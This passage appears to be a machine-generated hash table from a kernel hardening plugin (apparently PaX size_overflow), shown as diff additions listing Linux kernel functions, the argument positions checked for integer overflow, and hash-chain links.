ubi_dbg_check_write 5 48525 _001199_hash NULL ++_001200_hash ubifs_setxattr 4 59650 _001370_hash NULL nohasharray ++_001201_hash udf_sb_alloc_partition_maps 2 62313 _001201_hash NULL ++_001202_hash udplite_getfrag 3-4 14479 _001202_hash NULL ++_001204_hash ulong_write_file 3 26485 _001204_hash NULL ++_001205_hash unix_dgram_sendmsg 4 45699 _001205_hash NULL ++_001206_hash unix_stream_sendmsg 4 61455 _001206_hash NULL ++_001207_hash unlink_queued 3-4 645 _001207_hash NULL ++_001208_hash update_pmkid 4 2481 _001208_hash NULL ++_001209_hash usb_alloc_coherent 2 65444 _001209_hash NULL ++_001210_hash uvc_alloc_buffers 2-3 9656 _001210_hash NULL ++_001211_hash uvc_alloc_entity 3-4 20836 _001211_hash NULL ++_001212_hash v4l2_ctrl_new 7 38725 _001212_hash NULL ++_001213_hash v4l2_event_subscribe 3 19510 _001213_hash NULL ++_001214_hash vb2_read 3 42703 _001214_hash NULL ++_001215_hash vb2_write 3 31948 _001215_hash NULL ++_001216_hash vc_resize 2-3 3585 _001216_hash NULL ++_001218_hash __vhost_add_used_n 3 26554 _001218_hash NULL ++_001219_hash __videobuf_alloc_vb 1 27062 _001219_hash NULL ++_001220_hash videobuf_dma_init_kernel 3 6963 _001220_hash NULL ++_001221_hash virtqueue_add_buf 3-4 59470 _001221_hash NULL ++_001223_hash vmalloc 1 15464 _001223_hash NULL ++_001224_hash vmalloc_to_sg 2 58354 _001224_hash NULL ++_001225_hash vol_cdev_write 3 40915 _001225_hash NULL ++_001226_hash vxge_device_register 4 7752 _001226_hash NULL ++_001227_hash __vxge_hw_channel_allocate 3 55462 _001227_hash NULL ++_001228_hash vzalloc 1 47421 _001228_hash NULL ++_001229_hash vzalloc_node 1 23424 _001229_hash NULL ++_001230_hash wa_nep_queue 2 8858 _001230_hash NULL ++_001231_hash __wa_xfer_setup_segs 2 56725 _001231_hash NULL ++_001232_hash wiphy_new 2 2482 _001232_hash NULL ++_001233_hash wpan_phy_alloc 1 48056 _001233_hash NULL ++_001234_hash wusb_ccm_mac 7 32199 _001234_hash NULL ++_001235_hash x25_sendmsg 4 12487 _001235_hash NULL ++_001236_hash xfrm_hash_alloc 1 10997 _001236_hash NULL ++_001237_hash _xfs_buf_get_pages 2 46811 _001237_hash NULL ++_001238_hash xfs_da_buf_make 1 55845 _001238_hash NULL ++_001239_hash xfs_da_grow_inode_int 3 21785 _001239_hash NULL ++_001240_hash xfs_dir_cilookup_result 3 64288 _003139_hash NULL nohasharray ++_001241_hash xfs_iext_add_indirect_multi 3 32400 _001241_hash NULL ++_001242_hash xfs_iext_inline_to_direct 2 12384 _001242_hash NULL ++_001243_hash xfs_iroot_realloc 2 46826 _001243_hash NULL ++_001244_hash xhci_alloc_stream_info 3 63902 _001244_hash NULL ++_001245_hash xlog_recover_add_to_trans 4 62839 _001245_hash NULL ++_001246_hash xprt_alloc 2 1475 _001246_hash NULL ++_001247_hash xt_alloc_table_info 1 57903 _001247_hash NULL ++_001248_hash _zd_iowrite32v_async_locked 3 39034 _001248_hash NULL ++_001249_hash zd_usb_iowrite16v 3 49744 _001249_hash NULL ++_001250_hash acpi_ds_build_internal_package_obj 3 58271 _001250_hash NULL ++_001251_hash acpi_system_read_event 3 55362 _001251_hash NULL ++_001252_hash acpi_ut_create_buffer_object 1 42030 _001252_hash NULL ++_001253_hash acpi_ut_create_package_object 1 17594 _001253_hash NULL ++_001254_hash acpi_ut_create_string_object 1 15360 _001254_hash NULL ++_001255_hash ad7879_spi_multi_read 3 8218 _001255_hash NULL ++_001256_hash add_child 4 45201 _001256_hash NULL ++_001257_hash add_port 2 54941 _001257_hash NULL ++_001258_hash adu_read 3 24177 _001258_hash NULL ++_001259_hash afs_cell_create 2 27346 _001259_hash NULL ++_001260_hash agp_generic_alloc_user 1 9470 _001260_hash NULL ++_001261_hash alloc_agpphysmem_i8xx 1 39427 _001261_hash NULL ++_001262_hash allocate_cnodes 1 5329 _001262_hash NULL ++_001263_hash ___alloc_bootmem 1 11410 _001263_hash NULL ++_001264_hash __alloc_bootmem_nopanic 1 65397 _001264_hash NULL ++_001265_hash alloc_bulk_urbs_generic 5 12127 _001265_hash NULL ++_001266_hash alloc_candev 1-2 7776 _001266_hash NULL ++_001268_hash ____alloc_ei_netdev 1 51475 _001268_hash NULL ++_001269_hash alloc_etherdev_mqs 1 36450 _001269_hash NULL ++_001270_hash alloc_extent_buffer 3 52824 _001270_hash NULL ++_001271_hash alloc_fcdev 1 18780 _001271_hash NULL ++_001272_hash alloc_fddidev 1 15382 _001272_hash NULL ++_001273_hash alloc_hippi_dev 1 51320 _001273_hash NULL ++_001274_hash alloc_irdadev 1 19140 _001274_hash NULL ++_001275_hash alloc_ltalkdev 1 38071 _001275_hash NULL ++_001276_hash alloc_one_pg_vec_page 1 10747 _001276_hash NULL ++_001277_hash alloc_orinocodev 1 21371 _001277_hash NULL ++_001279_hash alloc_trdev 1 16399 _001279_hash NULL ++_001280_hash async_setkey 3 35521 _001280_hash NULL ++_001281_hash ata_host_alloc_pinfo 3 17325 _001281_hash NULL ++_001284_hash ath6kl_connect_event 7-9-8 14267 _001284_hash NULL ++_001285_hash ath6kl_fwlog_block_read 3 49836 _001285_hash NULL ++_001286_hash ath6kl_fwlog_read 3 32101 _001286_hash NULL ++_001287_hash ath_rx_init 2 43564 _001287_hash NULL ++_001288_hash ath_tx_init 2 60515 _001288_hash NULL ++_001289_hash atm_get_addr 3 31221 _001289_hash NULL ++_001290_hash av7110_ipack_init 2 46655 _001290_hash NULL ++_001291_hash bdx_rxdb_create 1 46525 _001291_hash NULL ++_001292_hash bdx_tx_db_init 2 41719 _001292_hash NULL ++_001293_hash bio_map_kern 3 64751 _001293_hash NULL ++_001294_hash bits_to_user 3-2 47733 _001294_hash NULL ++_001295_hash __blk_queue_init_tags 2 9778 _001295_hash NULL ++_001296_hash blk_queue_resize_tags 2 28670 _001296_hash NULL ++_001297_hash blk_rq_map_user_iov 5 16772 _001297_hash NULL ++_001298_hash bm_init 2 13529 _001298_hash NULL ++_001299_hash brcmf_alloc_wdev 1 60347 _001299_hash NULL ++_001300_hash btrfs_insert_dir_item 4 59304 _001300_hash NULL ++_001301_hash btrfs_map_block 3 64379 _001301_hash NULL ++_001302_hash c4_add_card 3 54968 _001302_hash NULL ++_001303_hash cache_read 3 24790 _001303_hash NULL ++_001304_hash cache_write 3 13589 _001304_hash NULL ++_001305_hash calc_hmac 3 32010 _001305_hash NULL ++_001306_hash ccid_getsockopt_builtin_ccids 2 53634 _001306_hash NULL ++_001307_hash ceph_copy_page_vector_to_user 4-3 31270 _001307_hash NULL ++_001308_hash ceph_read_dir 3 17005 _001308_hash NULL ++_001309_hash cfg80211_roamed 5-7 32632 _001309_hash NULL ++_001311_hash ci_ll_init 3 12930 _001311_hash NULL ++_001312_hash coda_psdev_read 3 35029 _001312_hash NULL ++_001313_hash construct_key_and_link 4 8321 _001313_hash NULL ++_001314_hash copy_counters_to_user 5 17027 _001824_hash NULL nohasharray ++_001315_hash copy_entries_to_user 1 52367 _001315_hash NULL ++_001316_hash copy_from_buf 4-2 27308 _001316_hash NULL ++_001317_hash copy_oldmem_page 3-1 26164 _001317_hash NULL ++_001318_hash copy_to_user_fromio 3 57432 _001318_hash NULL ++_001319_hash cryptd_hash_setkey 3 42781 _001319_hash NULL ++_001320_hash crypto_authenc_esn_setkey 3 6985 _001320_hash NULL ++_001321_hash crypto_authenc_setkey 3 80 _003311_hash NULL nohasharray ++_001322_hash cx18_copy_buf_to_user 4 22735 _001322_hash NULL ++_001324_hash cxgbi_ddp_reserve 4 30091 _001324_hash NULL ++_001325_hash datablob_hmac_append 3 40038 _001325_hash NULL ++_001326_hash datablob_hmac_verify 4 24786 _001326_hash NULL ++_001327_hash dataflash_read_fact_otp 3-2 33204 _001327_hash NULL ++_001328_hash dataflash_read_user_otp 3-2 14536 _001328_hash &_000201_hash ++_001329_hash dccp_feat_register_sp 5 17914 _001329_hash NULL ++_001330_hash ddb_input_read 3 9743 _001330_hash NULL ++_001331_hash dev_read 3 56369 _001331_hash NULL ++_001332_hash diva_os_copy_to_user 4 48508 _001332_hash NULL ++_001333_hash diva_os_malloc 2 16406 _001333_hash NULL ++_001334_hash dlm_dir_lookup 4 56662 _001334_hash NULL ++_001335_hash dm_vcalloc 1-2 16814 _001335_hash NULL ++_001337_hash do_proc_readlink 3 14096 _001337_hash NULL ++_001338_hash do_readlink 2 43518 _001338_hash NULL ++_001339_hash __do_replace 5 37227 _001339_hash NULL ++_001340_hash do_sigpending 2 9766 _001340_hash NULL ++_001341_hash drbd_setsockopt 5 16280 _001341_hash &_000371_hash ++_001342_hash dsp_buffer_alloc 2 11684 _001342_hash NULL ++_001343_hash dump_midi 3 51040 _001343_hash NULL ++_001344_hash dvb_dmxdev_set_buffer_size 2 55643 _001344_hash NULL ++_001345_hash dvb_dvr_set_buffer_size 2 9840 _001345_hash NULL ++_001346_hash dvb_ringbuffer_pkt_read_user 3-5-2 4303 _001346_hash NULL ++_001348_hash dvb_ringbuffer_read_user 3 56702 _001348_hash NULL ++_001349_hash ecryptfs_filldir 3 6622 _001349_hash NULL ++_001350_hash ecryptfs_readlink 3 40775 _001350_hash NULL ++_001351_hash ecryptfs_send_message 2 18322 _001351_hash NULL ++_001352_hash em28xx_init_isoc 4 62883 _001352_hash &_000721_hash ++_001353_hash et61x251_read 3 25420 _001353_hash NULL ++_001354_hash ext4_add_new_descs 3 19509 _001354_hash NULL ++_001355_hash fat_ioctl_filldir 3 36621 _001355_hash NULL ++_001356_hash fd_copyout 3 59323 _001356_hash NULL ++_001357_hash f_hidg_read 3 6238 _001357_hash NULL ++_001358_hash filldir 3 55137 _001358_hash NULL ++_001359_hash filldir64 3 46469 _001359_hash NULL ++_001360_hash fops_read 3 40672 _001360_hash NULL ++_001361_hash from_buffer 3 18625 _001361_hash NULL ++_001362_hash fsm_init 2 16134 _001362_hash NULL ++_001363_hash get_subdir 3 62581 _001363_hash NULL ++_001364_hash gspca_dev_probe 4 2570 _001364_hash NULL ++_001365_hash handle_received_packet 3 22457 _001365_hash NULL ++_001366_hash hash_setkey 3 48310 _001366_hash NULL ++_001367_hash hdlcdrv_register 2 6792 _001367_hash NULL ++_001368_hash hdpvr_read 3 9273 _001368_hash NULL ++_001369_hash hid_input_report 4 32458 _001369_hash NULL ++_001370_hash hidraw_read 3 59650 _001370_hash &_001200_hash ++_001371_hash HiSax_readstatus 2 15752 _001371_hash NULL ++_001373_hash __hwahc_op_set_gtk 4 42038 _001373_hash NULL ++_001374_hash __hwahc_op_set_ptk 5 36510 _001374_hash NULL ++_001375_hash ib_copy_to_udata 3 27525 _001375_hash NULL ++_001376_hash idetape_chrdev_read 3 2097 _001376_hash NULL ++_001377_hash ieee80211_alloc_hw 1 43829 _001377_hash NULL ++_001378_hash ieee80211_bss_info_update 4 13991 _001378_hash NULL ++_001379_hash ilo_read 3 32531 _001379_hash NULL ++_001380_hash init_map_ipmac 3-4 63896 _001380_hash NULL ++_001382_hash init_tid_tabs 2-4-3 13252 _001382_hash NULL ++_001385_hash iowarrior_read 3 53483 _001385_hash NULL ++_001386_hash ipv6_getsockopt_sticky 5 56711 _001386_hash NULL ++_001387_hash ipwireless_send_packet 4 8328 _001387_hash NULL ++_001388_hash ipx_sendmsg 4 1362 _001388_hash NULL ++_001389_hash iscsi_conn_setup 2 35159 _001389_hash NULL ++_001390_hash iscsi_create_session 3 51647 _001390_hash NULL ++_001391_hash iscsi_host_alloc 2 36671 _001391_hash NULL ++_001392_hash iscsi_session_setup 4-5 196 _001392_hash NULL ++_001394_hash iscsit_find_cmd_from_itt_or_dump 3 17194 _001701_hash NULL nohasharray ++_001395_hash isdn_ppp_read 4 50356 _001395_hash NULL ++_001396_hash isku_sysfs_read 6 58806 _001396_hash NULL ++_001397_hash isku_sysfs_write 6 49767 _001397_hash NULL ++_001398_hash iso_alloc_urb 4-5 45206 _001398_hash NULL ++_001400_hash ivtv_copy_buf_to_user 4 6159 _001400_hash NULL ++_001401_hash iwm_rx_handle 3 24899 _001401_hash NULL ++_001402_hash iwm_wdev_alloc 1 38415 _001402_hash NULL ++_001403_hash jbd2_alloc 1 41359 _001403_hash NULL ++_001404_hash jffs2_do_link 6 42048 _001404_hash NULL ++_001405_hash jffs2_do_unlink 4 62020 _001405_hash NULL ++_001406_hash jffs2_security_setxattr 4 62107 _001406_hash NULL ++_001407_hash jffs2_trusted_setxattr 4 17048 _001407_hash NULL ++_001408_hash jffs2_user_setxattr 4 10182 _001408_hash NULL ++_001409_hash kernel_setsockopt 5 35913 _001409_hash NULL ++_001410_hash keyctl_describe_key 3 36853 _001410_hash NULL ++_001411_hash keyctl_get_security 3 64418 _001411_hash &_001132_hash ++_001412_hash keyring_read 3 13438 _001412_hash NULL ++_001413_hash kfifo_copy_to_user 3 20646 _001413_hash NULL ++_001414_hash kmem_zalloc_large 1 56128 _001414_hash NULL ++_001415_hash kmp_init 2 41373 _001415_hash NULL ++_001416_hash koneplus_sysfs_write 6 35993 _001416_hash NULL ++_001417_hash kvm_clear_guest_page 4 2308 _001417_hash NULL ++_001418_hash kvm_read_nested_guest_page 5 13337 _001418_hash NULL ++_001419_hash l2cap_create_basic_pdu 3 24869 _003830_hash &_001034_hash nohasharray ++_001420_hash l2cap_create_connless_pdu 3 37327 _001420_hash &_000966_hash ++_001421_hash l2cap_create_iframe_pdu 3 51801 _001421_hash NULL ++_001422_hash __lgwrite 4 57669 _001422_hash NULL ++_001423_hash libfc_host_alloc 2 7917 _001423_hash NULL ++_001424_hash llcp_sock_sendmsg 4 1092 _001424_hash NULL ++_001425_hash macvtap_get_user 4 28185 _001425_hash NULL ++_001426_hash mcam_v4l_read 3 36513 _001426_hash NULL ++_001427_hash mce_async_out 3 58056 _001427_hash NULL ++_001428_hash mce_flush_rx_buffer 2 14976 _001428_hash NULL ++_001429_hash mdc800_device_read 3 22896 _001429_hash NULL ++_001430_hash memcpy_toiovec 3 54166 _001430_hash &_000867_hash ++_001431_hash memcpy_toiovecend 3-4 19736 _001431_hash NULL ++_001433_hash mgt_set_varlen 4 60916 _001433_hash NULL ++_001434_hash mlx4_en_create_rx_ring 3 62498 _001434_hash NULL ++_001435_hash mlx4_en_create_tx_ring 4 48501 _001435_hash NULL ++_001436_hash mon_bin_get_event 4 52863 _001436_hash NULL ++_001437_hash mousedev_read 3 47123 _001437_hash NULL ++_001438_hash move_addr_to_user 2 2868 _001438_hash NULL ++_001439_hash mpihelp_mul 5-3 27805 _001439_hash NULL ++_001441_hash mpi_lshift_limbs 2 9337 _001441_hash NULL ++_001442_hash msnd_fifo_alloc 2 23179 _001442_hash NULL ++_001443_hash mtdswap_init 2 55719 _001443_hash NULL ++_001444_hash neigh_hash_grow 2 17283 _001444_hash NULL ++_001445_hash nfs4_realloc_slot_table 2 22859 _001445_hash NULL ++_001446_hash nfs_idmap_get_key 2 39616 _001446_hash NULL ++_001447_hash nsm_get_handle 4 52089 _001447_hash NULL ++_001448_hash ntfs_malloc_nofs 1 49572 _001448_hash NULL ++_001449_hash ntfs_malloc_nofs_nofail 1 63631 _001449_hash NULL ++_001450_hash nvme_create_queue 3 170 _001450_hash NULL ++_001451_hash ocfs2_control_write 3 54737 _001451_hash NULL ++_001452_hash orinoco_add_extscan_result 3 18207 _001452_hash NULL ++_001454_hash override_release 2 52032 _001454_hash NULL ++_001455_hash packet_snd 3 13634 _001455_hash NULL ++_001456_hash pcbit_stat 2 27364 _001456_hash NULL ++_001457_hash pcpu_extend_area_map 2 12589 _001457_hash NULL ++_001458_hash pg_read 3 17276 _001458_hash NULL ++_001459_hash picolcd_debug_eeprom_read 3 14549 _001459_hash NULL ++_001460_hash pkt_alloc_packet_data 1 37928 _001460_hash NULL ++_001461_hash pmcraid_build_passthrough_ioadls 2 62034 _001461_hash NULL ++_001462_hash pms_capture 4 27142 _001462_hash NULL ++_001463_hash posix_clock_register 2 5662 _001463_hash NULL ++_001464_hash printer_read 3 54851 _001464_hash NULL ++_001465_hash __proc_file_read 3 54978 _001465_hash NULL ++_001466_hash pt_read 3 49136 _001466_hash NULL ++_001467_hash put_cmsg 4 36589 _001467_hash NULL ++_001468_hash pvr2_ioread_read 3 10720 _001505_hash NULL nohasharray ++_001469_hash pwc_video_read 3 51735 _001469_hash NULL ++_001470_hash px_raw_event 4 49371 _001470_hash NULL ++_001471_hash qcam_read 3 13977 _001471_hash NULL ++_001472_hash rawv6_sendmsg 4 20080 _001472_hash NULL ++_001473_hash rds_sendmsg 4 40976 _001473_hash NULL ++_001474_hash read_flush 3 43851 _001474_hash NULL ++_001475_hash read_profile 3 27859 _001475_hash NULL ++_001476_hash read_vmcore 3 26501 _001476_hash NULL ++_001477_hash redirected_tty_write 3 65297 _001477_hash NULL ++_001478_hash __register_chrdev 2-3 54223 _001478_hash NULL ++_001480_hash regmap_raw_write 4 53803 _001480_hash NULL ++_001481_hash reiserfs_allocate_list_bitmaps 3 21732 _001481_hash NULL ++_001482_hash reiserfs_resize 2 34377 _001482_hash NULL ++_001483_hash request_key_auth_read 3 24109 _001483_hash NULL ++_001484_hash rfkill_fop_read 3 54711 _001484_hash NULL ++_001485_hash rng_dev_read 3 41581 _001485_hash NULL ++_001486_hash roccat_read 3 41093 _003519_hash NULL nohasharray ++_001487_hash sco_sock_sendmsg 4 62542 _001487_hash NULL ++_001488_hash scsi_register 2 49094 _001488_hash NULL ++_001489_hash sctp_getsockopt_events 2 3607 _001489_hash NULL ++_001490_hash sctp_getsockopt_maxburst 2 42941 _001490_hash NULL ++_001491_hash sctp_getsockopt_maxseg 2 10737 _001491_hash NULL ++_001492_hash sctpprobe_read 3 17741 _001492_hash NULL ++_001493_hash sdhci_alloc_host 2 7509 _001493_hash NULL ++_001494_hash selinux_inode_post_setxattr 4 26037 _001494_hash NULL ++_001495_hash selinux_inode_setsecurity 4 18148 _001495_hash NULL ++_001496_hash selinux_inode_setxattr 4 10708 _001496_hash NULL ++_001497_hash selinux_secctx_to_secid 2 63744 _001497_hash NULL ++_001498_hash selinux_setprocattr 4 55611 _001498_hash NULL ++_001499_hash sel_write_context 3 25726 _002397_hash NULL nohasharray ++_001500_hash seq_copy_in_user 3 18543 _001500_hash NULL ++_001501_hash seq_open_net 4 8968 _001594_hash NULL nohasharray ++_001502_hash seq_open_private 3 61589 _001502_hash NULL ++_001503_hash set_arg 3 42824 _001503_hash NULL ++_001504_hash sg_read 3 25799 _001504_hash NULL ++_001505_hash shash_async_setkey 3 10720 _001505_hash &_001468_hash ++_001506_hash shash_compat_setkey 3 12267 _001506_hash NULL ++_001507_hash shmem_setxattr 4 55867 _001507_hash NULL ++_001508_hash simple_read_from_buffer 2-5 55957 _001508_hash NULL ++_001511_hash sm_checker_extend 2 23615 _001511_hash NULL ++_001512_hash sn9c102_read 3 29305 _001512_hash NULL ++_001513_hash snd_es1938_capture_copy 5 25930 _001513_hash NULL ++_001514_hash snd_gus_dram_peek 4 9062 _001514_hash NULL ++_001515_hash snd_hdsp_capture_copy 5 4011 _001515_hash NULL ++_001516_hash snd_korg1212_copy_to 6 92 _001516_hash NULL ++_001517_hash snd_opl4_mem_proc_read 5 63774 _001517_hash NULL ++_001518_hash snd_pcm_alloc_vmalloc_buffer 2 44595 _001518_hash NULL ++_001519_hash snd_pcm_oss_read1 3 63771 _001519_hash NULL ++_001520_hash snd_rawmidi_kernel_read1 4 36740 _001520_hash NULL ++_001521_hash snd_rme9652_capture_copy 5 10287 _001521_hash NULL ++_001522_hash srp_target_alloc 3 37288 _001522_hash NULL ++_001523_hash stk_allocate_buffers 2 16291 _001523_hash NULL ++_001524_hash store_ifalias 4 35088 _001524_hash NULL ++_001525_hash store_msg 3 56417 _001525_hash NULL ++_001526_hash str_to_user 2 11411 _001526_hash NULL ++_001527_hash subbuf_read_actor 3 2071 _001527_hash NULL ++_001528_hash sys_fgetxattr 4 25166 _001528_hash NULL ++_001529_hash sys_gethostname 2 49698 _001529_hash NULL ++_001530_hash sys_getxattr 4 37418 _001530_hash NULL ++_001531_hash sys_kexec_load 2 14222 _001531_hash NULL ++_001532_hash sys_msgsnd 3 44537 _001532_hash &_000129_hash ++_001533_hash sys_process_vm_readv 3-5 19090 _003125_hash NULL nohasharray ++_001535_hash sys_process_vm_writev 3-5 4928 _001535_hash NULL ++_001537_hash sys_sched_getaffinity 2 60033 _001537_hash NULL ++_001538_hash sys_setsockopt 5 35320 _001538_hash NULL ++_001539_hash t3_init_l2t 1 8261 _001539_hash NULL ++_001540_hash team_options_register 3 20091 _001540_hash NULL ++_001541_hash tipc_send2name 6 16809 _001541_hash NULL ++_001542_hash tipc_send2port 5 63935 _001542_hash NULL ++_001543_hash tipc_send 4 51238 _001543_hash NULL ++_001544_hash tm6000_i2c_recv_regs16 5 2949 _001544_hash NULL ++_001545_hash tm6000_i2c_recv_regs 5 46215 _001545_hash NULL ++_001546_hash tm6000_i2c_send_regs 5 20250 _001546_hash NULL ++_001547_hash tnode_new 3 44757 _003828_hash NULL nohasharray ++_001548_hash tomoyo_read_self 3 33539 _001548_hash NULL ++_001549_hash tomoyo_update_domain 2 5498 _001549_hash NULL ++_001550_hash tomoyo_update_policy 2 40458 _001550_hash NULL ++_001551_hash tpm_read 3 50344 _001551_hash NULL ++_001552_hash TSS_rawhmac 3 17486 _001552_hash NULL ++_001553_hash tt3650_ci_msg 4 57219 _001553_hash NULL ++_001554_hash tun_get_user 3 33178 _001554_hash NULL ++_001555_hash ubi_dbg_dump_flash 4 3870 _001555_hash NULL ++_001556_hash ubi_io_write 4-5 15870 _001556_hash &_000954_hash ++_001558_hash uio_read 3 49300 _001558_hash NULL ++_001559_hash unix_seqpacket_sendmsg 4 27893 _001559_hash NULL ++_001560_hash unlink1 3 63059 _001560_hash NULL ++_001562_hash usb_allocate_stream_buffers 3 8964 _001562_hash NULL ++_001563_hash usbdev_read 3 45114 _001563_hash NULL ++_001564_hash usblp_read 3 57342 _003306_hash NULL nohasharray ++_001565_hash usbtmc_read 3 32377 _001565_hash NULL ++_001566_hash usbvision_v4l2_read 3 34386 _001566_hash NULL ++_001567_hash _usb_writeN_sync 4 31682 _001567_hash NULL ++_001568_hash user_read 3 51881 _001568_hash NULL ++_001569_hash v4l_stk_read 3 39672 _001569_hash NULL ++_001570_hash vcs_read 3 8017 _001570_hash NULL ++_001571_hash vdma_mem_alloc 1 6171 _001571_hash NULL ++_001572_hash venus_create 4 20555 _001572_hash NULL ++_001573_hash venus_link 5 32165 _001573_hash NULL ++_001574_hash venus_lookup 4 8121 _001574_hash NULL ++_001575_hash venus_mkdir 4 8967 _001575_hash NULL ++_001576_hash venus_remove 4 59781 _001576_hash NULL ++_001577_hash venus_rename 4-5 17707 _003279_hash NULL nohasharray ++_001579_hash venus_rmdir 4 45564 _001579_hash NULL ++_001580_hash venus_symlink 4-6 23570 _001580_hash NULL ++_001582_hash vfs_readlink 3 54368 _001582_hash NULL ++_001583_hash vfs_readv 3 38011 _001583_hash NULL ++_001584_hash vfs_writev 3 25278 _001584_hash NULL ++_001585_hash vga_arb_read 3 4886 _001585_hash NULL ++_001586_hash vhci_put_user 4 12604 _001586_hash NULL ++_001587_hash vhost_add_used_n 3 10760 _001587_hash NULL ++_001588_hash __videobuf_copy_to_user 4 15423 _001588_hash NULL ++_001589_hash videobuf_pages_to_sg 2 3708 _001589_hash NULL ++_001590_hash videobuf_vmalloc_to_sg 2 4548 _001590_hash NULL ++_001591_hash virtnet_send_command 5-6 61993 _001591_hash NULL ++_001593_hash vmbus_establish_gpadl 3 4495 _001593_hash NULL ++_001594_hash vol_cdev_read 3 8968 _001594_hash &_001501_hash ++_001595_hash w9966_v4l_read 3 31148 _001595_hash NULL ++_001596_hash wdm_read 3 6549 _001596_hash NULL ++_001597_hash wusb_prf 7 54261 _001597_hash &_000063_hash ++_001598_hash xdi_copy_to_user 4 48900 _001598_hash NULL ++_001599_hash xfs_buf_get_uncached 2 51477 _001599_hash NULL ++_001600_hash xfs_efd_init 3 5463 _001600_hash NULL ++_001601_hash xfs_efi_init 2 5476 _001601_hash NULL ++_001602_hash xfs_iext_realloc_direct 2 20521 _001602_hash NULL ++_001603_hash xfs_iext_realloc_indirect 2 59211 _001603_hash NULL ++_001604_hash xfs_inumbers_fmt 3 12817 _001604_hash NULL ++_001605_hash xlog_recover_add_to_cont_trans 4 44102 _001605_hash NULL ++_001606_hash xz_dec_lzma2_create 2 36353 _002745_hash NULL nohasharray ++_001607_hash _zd_iowrite32v_locked 3 44725 _001607_hash NULL ++_001608_hash aat2870_reg_read_file 3 12221 _001608_hash NULL ++_001609_hash add_sctp_bind_addr 3 12269 _001609_hash NULL ++_001610_hash aes_decrypt_fail_read 3 54815 _001610_hash NULL ++_001611_hash aes_decrypt_interrupt_read 3 19910 _001611_hash NULL ++_001612_hash aes_decrypt_packets_read 3 10155 _001612_hash NULL ++_001613_hash aes_encrypt_fail_read 3 32562 _001613_hash NULL ++_001614_hash aes_encrypt_interrupt_read 3 39919 _001614_hash NULL ++_001615_hash aes_encrypt_packets_read 3 48666 _001615_hash NULL ++_001616_hash afs_cell_lookup 2 8482 _001616_hash NULL ++_001617_hash agp_allocate_memory 2 58761 _001617_hash NULL ++_001618_hash __alloc_bootmem 1 31498 _001618_hash NULL ++_001619_hash __alloc_bootmem_low 1 43423 _003150_hash NULL nohasharray ++_001620_hash __alloc_bootmem_node_nopanic 2 6432 _001620_hash NULL ++_001621_hash alloc_cc770dev 1 48186 _001621_hash NULL ++_001622_hash __alloc_ei_netdev 1 29338 _001622_hash NULL ++_001623_hash __alloc_eip_netdev 1 51549 _001623_hash NULL ++_001624_hash alloc_libipw 1 22708 _001624_hash NULL ++_001625_hash alloc_pg_vec 2 8533 _001625_hash NULL ++_001626_hash alloc_sja1000dev 1 17868 _001626_hash NULL ++_001627_hash alloc_targets 2 8074 _003536_hash NULL nohasharray ++_001630_hash ath6kl_disconnect_timeout_read 3 3650 _001630_hash NULL ++_001631_hash ath6kl_endpoint_stats_read 3 41554 _001631_hash NULL ++_001632_hash ath6kl_fwlog_mask_read 3 2050 _001632_hash NULL ++_001633_hash ath6kl_keepalive_read 3 44303 _001633_hash NULL ++_001634_hash ath6kl_listen_int_read 3 10355 _001634_hash NULL ++_001635_hash ath6kl_lrssi_roam_read 3 61022 _001635_hash NULL ++_001636_hash ath6kl_regdump_read 3 14393 _001636_hash NULL ++_001637_hash ath6kl_regread_read 3 25884 _001637_hash NULL ++_001638_hash ath6kl_regwrite_read 3 48747 _001638_hash NULL ++_001639_hash ath6kl_roam_table_read 3 26166 _001639_hash NULL ++_001640_hash ath9k_debugfs_read_buf 3 25316 _001640_hash NULL ++_001641_hash atk_debugfs_ggrp_read 3 29522 _001641_hash NULL ++_001642_hash b43_debugfs_read 3 24425 _001642_hash NULL ++_001643_hash b43legacy_debugfs_read 3 2473 _001643_hash NULL ++_001644_hash bcm_recvmsg 4 43992 _001644_hash NULL ++_001645_hash bfad_debugfs_read 3 13119 _001645_hash NULL ++_001646_hash bfad_debugfs_read_regrd 3 57830 _001646_hash NULL ++_001647_hash blk_init_tags 1 30592 _001647_hash NULL ++_001648_hash blk_queue_init_tags 2 44355 _002686_hash NULL nohasharray ++_001649_hash blk_rq_map_kern 4 47004 _001649_hash NULL ++_001650_hash bm_entry_read 3 10976 _001650_hash NULL ++_001651_hash bm_status_read 3 19583 _001651_hash NULL ++_001652_hash bnad_debugfs_read 3 50665 _001652_hash NULL ++_001653_hash bnad_debugfs_read_regrd 3 51308 _001653_hash NULL ++_001654_hash btmrvl_curpsmode_read 3 46939 _001654_hash NULL ++_001655_hash btmrvl_gpiogap_read 3 4718 _001655_hash NULL ++_001656_hash btmrvl_hscfgcmd_read 3 56303 _001656_hash NULL ++_001657_hash btmrvl_hscmd_read 3 1614 _001657_hash NULL ++_001658_hash btmrvl_hsmode_read 3 1647 _001658_hash NULL ++_001659_hash btmrvl_hsstate_read 3 920 _001659_hash NULL ++_001660_hash btmrvl_pscmd_read 3 24308 _001660_hash NULL ++_001661_hash btmrvl_psmode_read 3 22395 _001661_hash NULL ++_001662_hash btmrvl_psstate_read 3 50683 _001662_hash NULL ++_001663_hash btmrvl_txdnldready_read 3 413 _001663_hash NULL ++_001664_hash btrfs_add_link 5 9973 _001664_hash NULL ++_001665_hash btrfs_discard_extent 2 38547 _001665_hash NULL ++_001666_hash btrfs_find_create_tree_block 3 55812 _001666_hash NULL ++_001667_hash btrfsic_map_block 2 56751 _001667_hash NULL ++_001668_hash caif_stream_recvmsg 4 13173 _001668_hash NULL ++_001669_hash carl9170_alloc 1 27 _001669_hash NULL ++_001670_hash carl9170_debugfs_read 3 47738 _001670_hash NULL ++_001671_hash cgroup_read_s64 5 19570 _001671_hash NULL ++_001672_hash cgroup_read_u64 5 45532 _001672_hash NULL ++_001673_hash channel_type_read 3 47308 _001673_hash NULL ++_001674_hash codec_list_read_file 3 24910 _001674_hash NULL ++_001675_hash configfs_read_file 3 1683 _001675_hash NULL ++_001676_hash cpuset_common_file_read 5 8800 _001676_hash NULL ++_001677_hash create_subvol 4 2347 _001677_hash NULL ++_001678_hash cx18_copy_mdl_to_user 4 45549 _001678_hash NULL ++_001679_hash dai_list_read_file 3 25421 _001679_hash NULL ++_001680_hash dapm_bias_read_file 3 64715 _001680_hash NULL ++_001681_hash dapm_widget_power_read_file 3 59950 _001754_hash NULL nohasharray ++_001684_hash dbgfs_frame 3 45917 _001684_hash NULL ++_001685_hash dbgfs_state 3 38894 _001685_hash NULL ++_001686_hash debugfs_read 3 62535 _001686_hash NULL ++_001687_hash debug_output 3 18575 _001687_hash NULL ++_001688_hash debug_read 3 19322 _001688_hash 